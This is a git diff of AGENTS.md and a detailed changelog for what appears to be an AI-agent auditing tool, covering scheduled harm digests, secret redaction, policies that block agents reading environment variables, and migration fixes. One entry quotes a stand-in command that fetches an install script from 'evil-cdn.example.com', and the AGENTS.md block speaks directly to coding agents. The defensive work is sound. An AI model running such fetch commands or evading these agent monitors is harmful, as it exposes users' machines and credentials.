diff --git a/AGENTS.md b/AGENTS.md index 479ca9612..a203f235a 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -78,3 +78,13 @@ Run through this mentally after any change to `src/hooks/` or `dist/` build: | `src/hooks/custom-hooks-loader.ts` | Top-level custom hook loading orchestrator | | `src/index.ts` | Public API → `dist/index.js` bundle entry | | `package.json` | `files` must include `dist/`; `build` must build `dist/index.js` | + + + +# This is NOT the Next.js you know + +This version has breaking changes — APIs, conventions, and file structure may all differ from your training data. Read the relevant guide in `node_modules/next/dist/docs/` (resolved from this file's directory; in monorepos the `next` package may not be visible from the repo root) before writing any code. Heed deprecation notices. + +This block is written and re-added by `next dev` — verify at `node_modules/next/dist/server/lib/generate-agent-files.js`. Removing it from a diff only re-creates the uncommitted change; committing it with your work keeps the tree clean. + + diff --git a/CHANGELOG.md b/CHANGELOG.md index 9081affee..be54a5255 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,9 +1,51 @@ # Changelog -## 1.0.1-beta.0 — 2026-08-12 +## 1.0.1-beta.0 — 2026-08-14 ### Features +- Add `failproofai audit --schedule [days] --email you@yourdomain.com`, so signing in is one command and then the code. The flag answers the first of the two questions up front; the second still happens at a prompt, because a one-time code has to be read out of a mailbox by a person and no flag changes that. Both `--email addr` and `--email=addr` parse, and the address is validated at the CLI boundary beside the day count — before a frame is drawn or a code is sent, so a typo reads as a usage error rather than as a sign-in that opened and gave up. It is still SHOWN as a settled step, since a flag is exactly where a wrong address hides and that step is the last place to catch it before somebody starts waiting for mail. **A different address on a machine that is already signed in is refused**, naming both and how to switch: where a machine's digests go is not something a flag should change quietly, because nobody notices until they stop arriving. The same address is a no-op that proceeds without prompting, compared case-insensitively as a mail server would. Deliberately NOT added: a `--code` flag. It would land in shell history and sit in `ps` for every other user on the box, and the code is short-lived rather than harmless. The argument parser is positional now, too — it matched values against a set of seen strings, which cannot tell one flag's argument from another's. (#698) + +- Give the schedule CLI's sign-in the frame `failproofai config` uses — the logo, the `│` spine, `◆`/`◇` step glyphs and a pink `└` close — because it is the same product asking, and the one moment this command asks for something personal. The email and the code now read as two steps of one flow rather than four loose lines, with the address echoed back on the settled step: a typo there is the likeliest reason no code arrives, and that is the last place to notice it before somebody starts waiting. **A pasted code just works.** The code is numeric, so "Your failproof code is 123456", a copied "123 456" and a stray trailing space all resolve to the digits — pasting the line out of the email was previously rejected for length, and because the server answers a too-long code with `validation_error` rather than `invalid_code`, the retry loop treated it as fatal and the whole sign-in aborted for a fresh email. Input with no digits at all is refused at the prompt rather than spending one of the server's five attempts. It is deliberately NOT masked: a login code is single-use and expires in minutes, so hiding it protects nothing and costs the only thing that matters at that prompt — seeing your own typo before pressing enter. The prompt's hint now steps aside once you type, since a placeholder sitting beside a real answer is the arrangement most likely to make somebody wonder which is theirs. `--schedule` and `--no-schedule` report through the same vocabulary, and the frame appears only when a flow actually happened: signing in draws it, an already-signed-in machine gets a compact confirmation instead, because a spine with no beginning reads as an unfinished wizard. `--status` keeps a two-column readout for the same reason — it is a snapshot, not a flow — and its colour now answers to the same `colorsEnabled` gate as everything else, where before it emitted ANSI into piped output that had no structure to go with it. (#698) + +- Offer the way forward when a stored session turns out to be dead, and name the machine's name as something that leaves the box. Turning scheduled audits on asks the api-server who you are, while the page reads "reports go to …" from the local session file — so the two disagree exactly when a session has expired or was minted against a different server, which is the common case rather than an edge one. The click then took the signed-in path and dead-ended on "could not turn that on." with no dialog and no next step. The refusal could not simply be caught and inspected either: **Next masks a thrown server-action error before the browser sees it**, so the client gets an opaque digest and never the message — matching on the text would have worked in development and silently degraded to a generic failure in production, which is precisely what shipped. `setAutoAuditAction` now RETURNS `{ok: false, reason: "signed-out"}`, a discriminant that survives the boundary, and the page re-reads before opening the sign-in dialog so it stops displaying an address while asking for one. Turning scheduling OFF is still never refused — an expired session must not trap somebody into keeping a feature they are trying to disable. Separately, the settings panel's **sends** line stops saying "only counts and redacted examples": the report carries the machine's name too — its hostname, which routinely carries its owner's — and very nearly true is the worse kind of claim when the reader can check it against the same email. It now enumerates all three, in the same order the digest does. (#698) + +- Make a section eyebrow one colour, and drop the one on `/settings`. The label read `━━ audit · first run` in three colours — a pink rule, a dim dot, mint text — which presented one fact as three things happening on a line. `.section-label .glyph` was ALSO declared twice, in `globals.css` and again in `audit/audit-styles.css`, and the audit copy loads second: the first fix changed the value nobody was reading, and the page kept rendering the old colour. Both now inherit, so the label is a single colour and the two files cannot drift apart again silently. `/settings` loses its `━━ this machine ━━` eyebrow entirely — the h1 says "settings" and the page is about this machine either way — and its tagline becomes "keeping watch, so you don't have to." (#698) + +- Rebuild `/settings` as a console for the service, not a card floating on a black page. Two rows drawn as one instrument: a **stat row** — daemon, next scan, last scan, findings — and a **panel row** carrying the controls beside what the scan actually does. The page used to answer one question ("is the toggle on"); it now answers the two anybody actually has in front of a background service, which is what it is doing right now and what it will do with what it finds. Every hairline is a `gap: 1px` over a line-coloured background rather than a border per cell, because borders double where cells meet and vanish at the edges — the grid is one pixel everywhere by construction instead of by arithmetic. The design doc this came from specified its own palette and two new webfonts (`#050506`, `#ff3b66`, `#3ee6a4`, VT323, IBM Plex Mono); it is built on the shipped tokens instead, so `/settings` and `/audit` remain one product a click apart, and `--warn #e8b339` is dropped rather than introduced — pink is the only channel this brand has for "needs a person", and a third hue would have been a new rule for one page. **Three of the four stats needed no new storage and two are better than the doc assumed**: the countdown comes from the daemon's own `next_due_at_ms` rather than last-scan-plus-interval, which silently drifts the moment the interval changes mid-cycle; and the daemon's state keeps `daemonServiceStatus()`'s four answers, because "installed but its binary is missing" is a different fix from "it crashed" and a heartbeat file cannot tell them apart. The `findings` stat reports THIS scan rather than a lifetime total, which needed a counter, a writer on both the CLI and daemon paths, and a decision about what a reset does to it — none of which the stat was worth. `readDashboardCacheMeta` now returns the counts alongside the timestamp, and deliberately still bypasses the TTL: the reader that drops an aged entry is right for rendering results and exactly backwards for a stat whose subject is that the scan was a while ago — mixing the two readers is how a page ends up showing "6 days ago" beside a blank count. An unreadable count renders as `—`, never as `0`, since a machine that scanned and found nothing is not the same claim as a file that failed to parse. `daemonStartedAtMs()` reads systemd's MONOTONIC activation stamp rather than the printed `ActiveEnterTimestamp`, whose locale-and-abbreviation format (`Fri 2026-08-14 19:45:13 IST`) `Date.parse` rejects on most abbreviations and mis-parses on the rest; it returns an absolute time so the page keeps counting without re-fetching, and null on macOS rather than a guess, since launchd would need a second privileged call per render to answer. The schedule tape survives, under the panels: the stats give numbers and the tape gives a position, which is the one thing no number shows at a glance. (#698) + +- Put scheduled audits on the command line: `failproofai audit --schedule [days]`, `--no-schedule`, and `--status`, with email-OTP sign-in in the terminal. The switch existed only on a settings page, in a browser — and `failproofaid` is a SYSTEM service (`WantedBy=multi-user.target`, starts at boot, no login, survives logout) built precisely for headless boxes, detached tmux, cron and CI runners, not one of which can open a page. The feature shipped for machines with no way to turn it on. **Parity is structural, not a promise.** Every write here calls the same `updateConfig` the dashboard's server actions call, and the session goes through the same `auth-store` — one `config.json`, one `audit/session.json`, one writer for each — so "the CLI and the dashboard always agree" is a property of the shape rather than something tests have to defend; verified live in both directions. Signing in reuses `requestLoginCode` / `verifyLoginCode` and writes the same `0600` session file the dashboard writes, so a terminal login shows up in the browser and signing out there ends the session the scheduled audit was going to report under. `--schedule` requires a session for the reason `setAutoAuditAction` does: scheduling and mailing are ONE decision, and a timer with nobody to tell is a switch that reads as on and produces nothing. `--no-schedule` never checks, because an expired session must not trap somebody into keeping a feature they are trying to disable, and it leaves the session alone — signing out is a separate decision. A bad day count is rejected BEFORE the sign-in, so a typo never costs a round of OTP; the interval is written and RE-READ so what prints is what the config kept, with `readIntervalDays` still owning the 1..90 clamp. Turning it on reports the DAEMON's state too, since config saying "on" and nothing running it is the same silent failure the settings panel exists to expose, and a non-interactive terminal gets one sentence instead of a hang on a prompt nobody will answer. `--status` has no equivalent anywhere: it is the only way to ask a headless machine whether scheduling is on, where reports go, whether the daemon is up, and when the next scan is due. Two doc comments in `app/actions/` claimed the `failproofai config` wizard already wrote these keys — it never did, the wizard calls `updateConfig` zero times — and they are corrected here rather than left describing a command that did not exist. (#698) + +- Give scheduled audits their own page again, and leave the audit report to be a report. The controls sit at `/settings`, reached by a gear in the header between the refresh controls and reach-us — an icon rather than a fourth nav tab, because the tabs are views of DATA (projects, policies, audit) and this is machine configuration; putting it in that row would have claimed it was another place to look at results. Section 05 of the audit keeps one job and is now **spread the audit**: the share card and nothing else. A report should not end in a settings form. The panel is built from what the service actually has — a state, a timer, an identity — on the app's existing tokens and existing chrome (`.panel` and its corner brackets, `.btn-press` and its hard pixel offset), with one drawn element: a **schedule tape** showing where this machine sits between the last scan and the next, because that is a POSITION and no number shows a position at a glance. It renders nothing without two real ends, since a machine that has never run a scheduled scan is not inside an interval and a rail claiming otherwise would be decoration. **One switch, not two.** `audit.email_enabled` is gone: scheduling and mailing are the same decision — the reason to put a scan on a timer is to be told what it found — so two keys could only ever disagree, and "signed out with the timer on" becomes a state DERIVED from the session rather than stored. That state is named on the page ("scans continue, digests are paused") rather than prevented, because auth gates setting the timer up and never the machine's ongoing work: a refresh token expiring must not silently switch off a background feature somebody configured months ago. The page is **server-rendered from the config** rather than fetched after mount — the client-side version painted "off. nothing runs and nothing is sent." and then flipped to the truth, so a page whose whole job is to say whether a security feature is on spent its first frame saying the opposite. It reads local files, so there was never a latency reason to defer it. (#698) + +- **Remove re-audit reminders entirely** — the reminder API route, the cadence buttons, `scheduleReminder`/`cancelReminder`, the reminder half of the auth status route, and the reminder store. The api-server deleted its reminders endpoint in the same release, so the client calling it would 404; more to the point the machine now audits itself and mails a digest when it finds harm, so there is nothing left to nudge anyone about. The reminder file is retired to `legacy` and cleared by the next reset — the layout-4 step still MOVES it there rather than deleting it, because a migration that destroys something a person chose is a different act from one that relocates it, even when the thing is obsolete. Section 05 of the audit keeps one job as a result: **spread the audit**, the share card and nothing else. A report should not end in a settings form. (#698) + +- Report harmful findings from a scheduled audit, so the machine can tell you what its agent did instead of asking you to go and look. Gated on `[audit] auto` — ONE switch, since the reason to put a scan on a timer is to be told what it found — plus `[audit] reports_consented_at`, a stamp written by the same call in both opt-in paths. That second key is a consent RECORD rather than a second switch, and it exists because `auto` changed meaning: through 1.0.0 it meant "scan this machine locally on a timer" and needed no account and no network, so reading it as agreement to upload transcript excerpts would have started every already-scheduled machine mailing on upgrade. Off by default, and a grandfathered machine keeps scanning and sends nothing until somebody opts in again. **The window is applied per event, not through `--since`.** `--since` filters on transcript MTIME, which is right for deciding which files to open and wrong as a window: a session left open for a month has a fresh mtime, so `--since 7d` hands back that whole transcript including month-old events, and the first digest anyone received would describe everything their agent had ever done as though it happened that week. The scan stays unfiltered and the window is applied here, against the timestamps `AuditCount` already carries. Where activity straddles the boundary the report counts the EXAMPLES inside it rather than the policy's total — the cache stores counts, not event lists, so there is nothing to subtract; undercounting is the safe direction because the server's threshold reads these, and it can delay a digest but never invent one. **Harm is `deny` + `sanitize`**, plus `protect-env-vars` by hand: `severityForBuiltin` derives severity from the NAME PREFIX, so a policy that blocks `env`/`printenv` outright reads as hygiene, and its whole subject is an agent reaching for the environment — inheriting a scoring heuristic's blind spot into a security digest would be the wrong kind of consistency. Examples are redacted before they leave, against `SECRET_PATTERNS` — now exported from `builtin-policies.ts`, so blocking and redacting share one definition of "secret" rather than growing a second list beside it that eventually disagrees. Masking runs BEFORE path-shortening, because shortening can cut a path mid-token and a credential sliced in half stops matching its own pattern and ships as a fragment. `~/.failproofai/audit/machine.json` holds the machine id and the digest watermark, both `identity` class: regenerate the id and the server sees a new machine on every logout, reset the watermark and the next report re-covers months. The id is minted fresh rather than reusing `state/telemetry-id`, so opting into a digest never links the anonymous telemetry person to a verified address. The whole path runs in the audit CHILD, never the daemon — refresh rotation is theft-detecting, and keeping the token inside the audit lock is what stops a cross-process race from revoking every session a user has. Scheduled runs only, and nothing in it can fail a scan: every error is an outcome, so a dead network or an expired session leaves the local audit working and its dashboard correct. (#698) + +- Gather everything the audit owns under `audit/`, as layout 4. `auth.json` becomes `audit/session.json`, `next-audit.json` becomes `audit/reminder.json`, and `state/audit-schedule.json` becomes `audit/schedule.json`, so one directory answers "what does the audit know about this machine" the way `policies/` answers it for enforcement. Two new paths join them, and the split between them is the design rather than tidiness: `session.json` holds the tokens and is `user-typed`, while `machine.json` holds this machine's report id and its digest watermark and is `identity`. Both fields have to outlive a sign-out — regenerate the id and the server sees a brand-new machine on every logout, reset the watermark and the next digest re-reports months of history as though it just happened — so they cannot live in the file a sign-out deletes. **`auditDir` is now deliberately absent from `HOME_CLASSES`.** It was classified `derived` wholesale, which was correct for a directory holding two caches and became a trap the moment a credential moved in: `resettablePaths()` is a filter over that table, so a reset and every future migration would have deleted the user's tokens. It is MIXED now and classified per-file, exactly like `state/` already is, and the `COVERED_BY_PARENT` guard records it as the second entry mapping to itself. The migration is three moves, each a rename with a copy fallback because `audit/` and the home root land on different filesystems once `$HOME` is a network mount and `rename(2)` returns `EXDEV` there. A missing source is success — most homes never signed in, so two of the three files are absent on the majority of machines — and an existing destination wins, because re-running the step is exactly what happens when a later step in the same chain throws and the user retries. Nothing is deleted to make room: the ONLY file the step removes is a legacy source whose destination already holds the authoritative copy, and it is removed rather than left at the root because a second copy of a bearer credential is a liability. A failure to remove it propagates rather than being swallowed, so the home stays at layout 3 and retries instead of being marked migrated with the credential still sitting there. `session.json`'s mode is reasserted to `0600` afterwards rather than assumed, because a rename preserves it and the copy fallback inherits the umask. All three are backed up first: `auth.json` is a live credential that, unlike every other file in that list, was never on a delete list and so has never had a copy taken before a migration touched it. `next-audit.json` is MOVED rather than retired even though the scheduled-audit work replaces reminders, because a migration that deleted it before that work landed would drop a cadence a person chose with no way back if the follow-up slipped. (#695) + +### Fixes + +- **Stop an existing `[audit] auto` being read as consent to send findings off the machine.** `reportHarm` gated every network send on that key alone. Through 1.0.0 it meant "scan this machine locally on a timer" and nothing more: no account, no network, the server action that wrote it had no auth check at all, and the toggle's own copy said in as many words that nothing leaves the machine. Harm digests gave the same stored bit a second job, so any machine with `auto` already true and a session on disk — which the reminder and invite flows already created, and which the layout-4 step carries forward intact — would have uploaded redacted transcript excerpts and mailed a digest on its first scheduled run after upgrading, having agreed to nothing of the kind, with the only notice a stdout line that on a headless box goes to the journal. Sending is now gated on `[audit] reports_consented_at`, stamped in the same write as `auto` by both opt-in paths — the CLI's `--schedule` after its sign-in, and the dashboard toggle after its `whoAmI` check, looking at the panel that enumerates what gets sent. Not the second switch the config's own comment rejects and never drawn as one: `auto` is what a person sets, this records the disclosure they saw, and nothing can set one without the other. A grandfathered machine keeps scanning locally, sends nothing, and gets a line saying how to turn digests on. (#698) + +- **Stop the digest shipping assigned secrets verbatim, and fix two redaction misfires.** `protect-env-vars` is hand-added to the harmful set and its dominant trigger is `export VAR=…`, whose example is the whole command — while `SECRET_PATTERNS` matches nine vendor-prefixed formats, a JWT, a literal `Authorization: Bearer` and a fixed non-HTTP scheme list, none of which is an assignment. So `export DATABASE_PASSWORD=…`, `export AWS_SECRET_ACCESS_KEY=…`, `npm config set _authToken=…` and `https://user:pass@host` all left the machine unchanged, and `export` is ubiquitous in agent sessions. `maskAssignedSecrets` covers `NAME=value` where the name says credential, inline URL credentials on any scheme, and curl's `-u user:pass`, keeping the name and masking only the value so the digest still says WHICH credential was exposed. It runs last of the three passes, so a vendor pattern keeps first refusal on anything it can label precisely. These live in the redactor rather than the shared `SECRET_PATTERNS` deliberately: `sanitize-*` BLOCKS a tool call, so a name-based rule there denies work the user wanted, while redaction only removes characters and can afford the wider net. Also: every prefix in `SECRET_PREFIXES` was unanchored, so `sk-` matched inside ordinary words — `kubectl get pods -n risk-scoring` redacted to `… -n ri[REDACTED: OpenAI API key]`, inventing a credential the digest then reported and destroying the token that said which command ran; and path shortening deleted a URL's HOST as though it were a directory, so `curl https://evil-cdn.example.com/install.sh` came out `https:/…/install.sh` with the domain — the entire security decision in that finding — removed. (#698) + +- **Warn about the daemon on the command that strands it.** This release moves the home to layout 4, and `failproofaid` calls `refuse_foreign_layout()` before it binds its socket: a binary built against layout 3 exits rather than serve a layout-4 home. That function shipped in 1.0.0, whose `paths.rs` says `LAYOUT_VERSION = 3`, so every already-installed daemon refuses once the marker moves — and nothing refreshes the binary on upgrade, since `refreshDaemonToCliVersion` has one non-test caller and there is no postinstall. The first ordinary CLI command migrated the home and armed the failure while nothing looked wrong, because the running daemon read the marker once at startup and kept serving from memory. It landed at the next reboot: the unit exits nonzero, `Restart=on-failure` trips the start limit, the service latches `failed`, and a daemon-configured machine that cannot reach its daemon denies every tool call across all 11 CLIs — with `healDaemonFlag()` unable to rescue it, since a layout-refusing unit reads as `stopped`, which it deliberately excludes. The branch that performs the migration was the one path emitting no daemon hint at all, and that hint told everybody a stale daemon "is slower to notice an upgrade, not broken" — false across a layout bump — while pointing at `failproofai config` rather than `failproofai update`. It now branches on `daemon.configured`. (#698) + +- **Eleven more from a multi-agent review pass**, each verified against the code before it was touched. **The migration's session backup outlived the migration**: `migrationsDir` is `identity` class so no reset removes it, and `deleteAuth()` only knew the live path — a dashboard sign-out, a 401 auto-delete and `failproofai reset` all left a working bearer and refresh token in `backup-layout3/`, to be carried into every dotfile backup and container image after it, with no CLI sign-out at all on the headless boxes this targets. A clean chain now prunes it (guarded on the file being readable at its new home), a FAILED chain keeps it, and sign-out sweeps any straggler. **A dead session read as a working destination**: `--schedule` printed `reports to
` and exited 0 with the expiry unread, so a lapsed or revoked token meant digests configured, destination shown, and nothing delivered for up to a full interval. **Each migration step now stamps its own target** rather than `LAYOUT_VERSION`, so a chain killed between steps cannot leave a layout-3 home marked current with its session unreachable forever. **A failed copy no longer leaves a partial destination** for the retry to read as authoritative and delete the good original behind. **The report window is clamped against its own end**, so a backwards clock jump cannot make `from` later than `to` and silently drop every finding forever. **`extractCode` stops eating the sentence's digits** — the prompt invites pasting the whole line, and `Your failproof code is 123456 (expires in 10 minutes)` became `12345610`, which passes the validator and burns an attempt. **A Mac is no longer told its healthy daemon will not run** (`sudo -n` with no cached credential answers "unknown", not "broken"). **Offline is told apart from expired**, since `whoAmI()` returns null for both and the user was handed a code prompt that cannot succeed either. **`/settings` can recover from a dead session** — it said "sign in" and offered no control to do it with. **The daemon's start time stops counting sleep**, having mixed `CLOCK_MONOTONIC` with `os.uptime()` so a nightly-suspending laptop read "up 30d" for a daemon started yesterday. And **`/settings` is gated by `FAILPROOFAI_DISABLE_PAGES` again** — the rewrite dropped the check the other pages carry and put the gear outside the navbar's filter, on the page that shows the address digests go to and can sign the machine out. (#698) + +- Five defects from an adversarial pass, each demonstrated before it was touched. **The digest went permanently quiet on the machines with the most to report.** A policy straddling the window falls back to counting its in-window examples, and the audit keeps at most three per policy in transcript-walk order — so on a machine months into its history those three are routinely all old, a policy that fired an hour ago scored zero, and the row was dropped. `firstSeen` never moves back past the watermark, so it was dropped from every later report too: not a delayed digest, a feature that silently stops working the longer you use it. Where `lastSeen` itself falls inside the window, that timestamp IS a real in-window event, so the count floors at one rather than vanishing — "never invent a hit" intact. **A failed migration could strand a home as "current" forever.** Every step ends at `writeVersionFile()`, which stamped `LAYOUT_VERSION` rather than the step's own `to` — harmless while every chain was one hop, and a trap the moment this release made one two. On `2 → 3 → 4` the first step stamps 4, so a `3 → 4` that throws leaves `detectLayout()` reporting `current`: nothing ever retries, `auth.json` stays at the root while layout 4 reads `audit/session.json`, and the machine is signed out with its own session still on disk. `writeVersionFile` now honours the `layout` its signature always accepted and its body silently ignored, and a failed step puts the marker back at `step.from`. **A pasted OTP killed the sign-in.** The api-server validates the code at 4..12 characters, so pasting "Your code is 123456" out of the email returns `validation_error` rather than `invalid_code` — and the retry loop only re-prompts on `invalid_code`, so it aborted and cost a fresh email. The prompt is bounded at both ends now, matching the server. **One failed refresh blanked a healthy settings console.** `reload`'s catch closed over a `view` frozen at first render, so on a page the server could not seed it stayed null forever and the next transient failure — a tab hide fires the same listener — replaced a working console with an error. **An interval edit was silently dropped**: 7 → 14 → 7 compared the second write against a stale mirror, decided nothing had changed, and skipped it, leaving the input reading 7 and the config saying 14. Also `audit_share_section_shown` latched before the auth probe resolved, recording `signed_in: false` for every view ever taken. (#698) + +- Four from review, each verified against the code before it was touched — nine other findings were stale or cosmetic and are left alone. **The redactor emitted the username.** `/home/sidd` shortened to `~/…/sidd`, keeping the name as the basename immediately after the `~` whose entire job is to stand in for it: the one path guaranteed to identify a person was the one path spelled out, and it went to the api-server in `harmful[].examples` and into the digest. The home directory is now `~` and nothing else. Fixing it surfaced a second defect underneath — `underHome` used a bare `startsWith`, so a home carrying a trailing slash failed to match itself, and `/home/u2` matched `/home/u`; the boundary is checked now, once, outside the replace callback. **A policy straddling the window's upper edge reported hits from after it.** `wholly` tested the lower bound alone, so a policy that began inside the window and was still firing after it closed sent `count.hits` — every hit, including the ones past `to` — while its examples were correctly filtered to the window. Those hits then landed inside the NEXT window too, since the watermark advances to `to`, and were reported a second time from one occurrence. Both edges are checked; a straddle at either falls back to the examples actually inside, which undercounts but never invents. **`FAILPROOFAI_AUTH_DIR` upgrades signed people out silently.** It is a documented env var naming a directory outside the managed home, and every path in the layout-4 step comes from `FAILPROOFAI_HOME` — so the override directory was never visited, the file stayed `auth.json`, layout 4 read `session.json`, and the session vanished with no message: scans still running, digests quietly stopped. The step migrates that directory too, so one naming scheme holds regardless of how the process was configured. **A failed cleanup marked the migration successful.** When the destination already existed the step dropped the layout-3 original and swallowed any error, then carried on to stamp layout 4 — leaving `auth.json`, a live bearer token, at the home root where nothing would look at it again and nothing would ever clean it up. It propagates now, which leaves the home at layout 3 and retries on the next command, exactly as `runMigrations` documents a failed step to mean. (#698) + +- Stop a harm-report test asserting a path shape that only holds on the machine that wrote it. `redactExample` resolves the real `homedir()` to decide whether a path earns the `~` prefix, and the test fed it a hardcoded `/home/sidd/...` while expecting `~/…/.env` — true on the author's box, false on CI, where `HOME` is `/home/runner` and the same input correctly redacts to `/…/.env`. The example is now built from `homedir()`, so the assertion is about the REDACTION rather than about whose laptop ran it. Verified by re-running the suite with `HOME` overridden, which reproduces the CI failure exactly and then passes. (#698) + +- Three fixes to the harm digest, all found by running the whole stack against a real machine rather than a fixture. **A first report covered all of history.** With no watermark the window was "everything", which against 230 sessions and 22,059 tool calls produced **5,815 findings** — every number true and the digest still wrong, because somebody's first email would describe their agent's entire recorded history as though it were this week's news, and would trip the critical-policy bypass on day one for essentially everyone. A first report is now bounded to one `interval_days` back from the scan, so the opening digest covers the same period every later one does; the same run then reports **17**. The older findings are not lost, they are simply not news — they are on the dashboard, which is where a full history belongs. **A truncated secret shipped as a fragment.** A real digest came back containing `authorization: Bearer s`. The audit caps every example at 80 characters at CAPTURE time, long before the redactor sees it, so a command ending in a credential arrives with the credential's tail already gone and the full pattern no longer matches — the exact failure the mask-before-shorten ordering guards against, arriving from upstream instead. A second pass now masks a known secret prefix sitting at the END of a string, on the assumption it was cut; one character is not a usable secret, but the number was set by where the truncation happened to land rather than by anything we control. **`/dev/null` was being shortened to `/…/null`**, which reads as though something was hidden when nothing was; kernel and device roots are identical on every machine, identify nobody, and are now left intact. (#698) + +- Resume the CTA that opened the sign-in dialog, instead of assuming it was the reminder. The reminder and "invite a friend" buttons share one `AuthDialog`, and which one opened it was tracked only as `authCopy` — the headline and subhead to show — while `handleAuthed` unconditionally called `persistReminder`. So the dialog knew which button had been pressed for the purpose of its own COPY and not for the purpose of its own EFFECT, and the invite path did the reminder path's work: a user who clicked *invite a friend*, read "Oops! Login required", and signed in got a 7-day reminder they never asked for, and no invite dialog — their actual intent dropped on the floor. An explicit `pendingAction` now carries the intent (and, for a reminder, the cadence whose button was actually pressed, so a re-render between click and verify cannot change which one lands); the copy is DERIVED from it, so the two can no longer disagree, and a third CTA means adding a case rather than remembering to branch inside a handler that has no idea it is shared. Dismissing the dialog clears the intent, because leaving it set would make the next sign-in — from any other CTA — resume something the user had walked away from; and "no pending action" is now expressible at all, which it was not before. The component's tests were the other half of the story: they covered which COPY each CTA shows and nothing else, so they were exactly as green on the broken version as on the fixed one. Three tests now pin the effect — invite resumes the invite dialog and writes no reminder, a cadence button still writes its reminder, and a dismissed dialog abandons the intent. (#698) + +- Stop `detectLayout()` deriving a landmark's layout from whatever this build speaks. `config.toml` with no `config.json` returned `LAYOUT_VERSION - 1`, which read correctly while current was 3 and became silent data loss at 4: a genuine layout-2 home was reported as layout 3, so `planMigration` ran only the 3 → 4 step — which finds none of layout 3's files, moves nothing, and stamps the home as current. `config.toml` and `credentials.toml` would never be carried into JSON, orphaning the cloud token and `daemon.configured` on a machine that then reads as fully migrated. A landmark identifies ONE layout and is never relative. The `config.json` branch above it had the same shape with a different ending: that file proves "layout 3 or later" and cannot separate the two, so a layout-3 home that lost its `VERSION` was called current, the 3 → 4 move never ran, and the user was silently signed out with `auth.json` still sitting on disk. What actually separates 3 from 4 is where the audit's files sit, so it now asks that directly — any of the three still at the root means stale — and when none are present the two layouts are identical on disk, the step would move nothing, and current is the correct non-destructive answer. Found by the layout-4 bump: the assertion that caught it was pinned to `2` and started failing the moment the constant moved, which is the whole reason it was written that way. (#695) + - Move the nightly doc translation onto the canary box too, so one machine and one installer carry both scheduled jobs. Runner minutes were the entire cost of both crons; the LLM spend is identical wherever they run. The runner image already knew how to lock, check out a ref and hand off to a script from that checkout, so `$CANARY_JOB` now selects WHICH script — `jobs/canary.sh` (the integration suite, 11:00 local) or `jobs/translate.sh` (the translation, 02:00 local) — resolved to a path rather than through a case statement, so a third job is a new file in the repo and never an image rebuild. Everything per-run is keyed by job: the **lock** above all, because one shared lock lets a canary wedged on a vendor CLI swallow the night's translation and the swallow is a clean `exit 0` that reports nowhere; also the clone, since translate commits and switches branches inside its checkout, and the log. `install.sh` grew `--jobs`, per-job `--at-*` flags and one cron line per job, each behind its own marker so installing one never strips the other's; it validates credentials **per job**, so installing only the canary never demands a translation PAT, and it prints the timezone cron resolved, because "02:00" read as UTC on an IST box is 07:30 and the person reading the output is the one who would be surprised. Three things collapse in the move and are why the job is shorter than the workflow it replaces: the 14-way matrix was runner parallelism, not translation structure (cli.ts already fans out over pages x languages under one limit, so one process at `TRANSLATE_MAX_CONCURRENT=16` reproduces CI's exact peak of `max-parallel: 4` x 4 — which deletes the artifact round-trip, the per-language cache fragments and the ~35-line script that merged them); the Actions cache layer becomes a 13 KB file symlinked into the checkout from the work dir; and `consolidate`'s re-checkout-and-overlay existed only because its siblings ran on other machines. The one genuinely new credential is a push token — Actions minted a repo-scoped `GITHUB_TOKEN` that died with the job, and a box needs a long-lived fine-grained PAT, which is why it goes in a git credential helper rather than the remote URL: git echoes the remote back on a push error and the Slack crash-note carries the log tail. The translate job posts **nothing** to Slack — its output is the pull request it opens, which the PR list already says; its failures land in the run log and the exit code. The canary keeps reporting on every run including the quiet ones, so silence from it means the box did not run rather than that all was well. (#694) - Audit the documentation weekly, on the same box. `mintlify validate` and `validate:mdx` answer "does this build", per PR, on the pages a PR touches — and pass happily on a corpus that builds perfectly and is quietly wrong: a page nobody has edited since the CLI it documents was rewritten, a page in the nav that is gone, a page in **no** nav and so unreachable by any reader, an in-body link to something renamed, a translation still describing last quarter's behaviour. None of that fails a build, which is precisely the shape a periodic sweep catches and a per-PR gate structurally cannot. `docs-audit` runs Mondays at 04:00 and posts what it found. It is the cheapest job on the box — **no gateway key, no push token, no sibling containers**, so it installs on a machine holding no credentials at all beyond the webhook — and that is deliberate: an audit that could also FIX what it finds would need write access and a much longer argument about what it may change unattended. It **reports and exits 0 by design**; `--fail-on-findings` exists for a future caller that wants a gate and is off by default, because a docs audit that turns the build red the day a page crosses an age threshold gets switched off within a week, and then there is neither a gate nor a report. It reports two ways: the weekly Slack post, and one `[auto] docs audit` tracking ISSUE kept current on GitHub — opened when there is something to do, its body refreshed each week, and closed when a week comes back clean, so an open issue always means "there is something to do" rather than "this ran once, months ago". An issue and not a PR, deliberately: a report is not a change, so a weekly PR would either sit open forever or auto-merge a file nobody reads, and an audit opening a FIXING PR would have almost nothing safe to put in it — a dangling nav entry might mean "delete the entry" or "restore the page", an orphan page might be deliberately unlisted, a broken link has no inferable target, and each is a judgement this job cannot make. Its token is correspondingly weak, `Issues: read+write` and nothing else, since it never changes a file; leave it empty and the job degrades to Slack alone. `countActionable` decides open-vs-closed and deliberately EXCLUDES stale and never-translated pages, because the nightly translation closes both by itself and counting them would hold the issue open forever — the only way a tracking issue can actually fail. The judgement lives in `scripts/docs-audit.ts` — pure functions taking the git log, the file list and the cache as arguments, so every detector is unit-tested in **both** directions (it fires on the bad case, and stays silent on the good one) without a repo, a docs tree or a clock; the shell job is only box wiring around `bun run docs:audit`, which anyone can run by hand. Two details worth knowing: it reads the same translation cache the nightly job writes, or every page would report as never-translated every week — a 672-line finding that is an artefact of where a file lives rather than a fact about the docs; and it skips link forms it cannot resolve (external, anchors, relative) rather than guessing, because the first finding nobody can reproduce is what gets the whole weekly post ignored. It also hardened the ref check. Matching the NAME against one known-stale branch (`origin/failproofaid`) only ever caught that one branch — a merged-and-deleted feature branch sailed straight through, which is exactly what was sitting in a real `secrets.env`: `CANARY_REF=origin/feat/canary-local-runner`, so the box would have tested a frozen tree forever and never said so. The installer now asks the REMOTE whether the branch still exists, which catches every deleted branch without naming any, and warns (without refusing) on anything that is not `origin/main` — legitimate for a one-off, rarely right for a cron line. Scheduling it also taught the installer to say weekly at all: a spec is now `"M H"` or a full five-field cron expression, and a job name may carry a dash (`docs-audit` is a valid path component and an invalid shell variable name), so every per-job lookup goes through one conversion rather than each site remembering. (#694) @@ -12,6 +54,10 @@ - Give cron one short line per job. A crontab entry must be a SINGLE line — the format has no continuation — so the docker invocation could not be 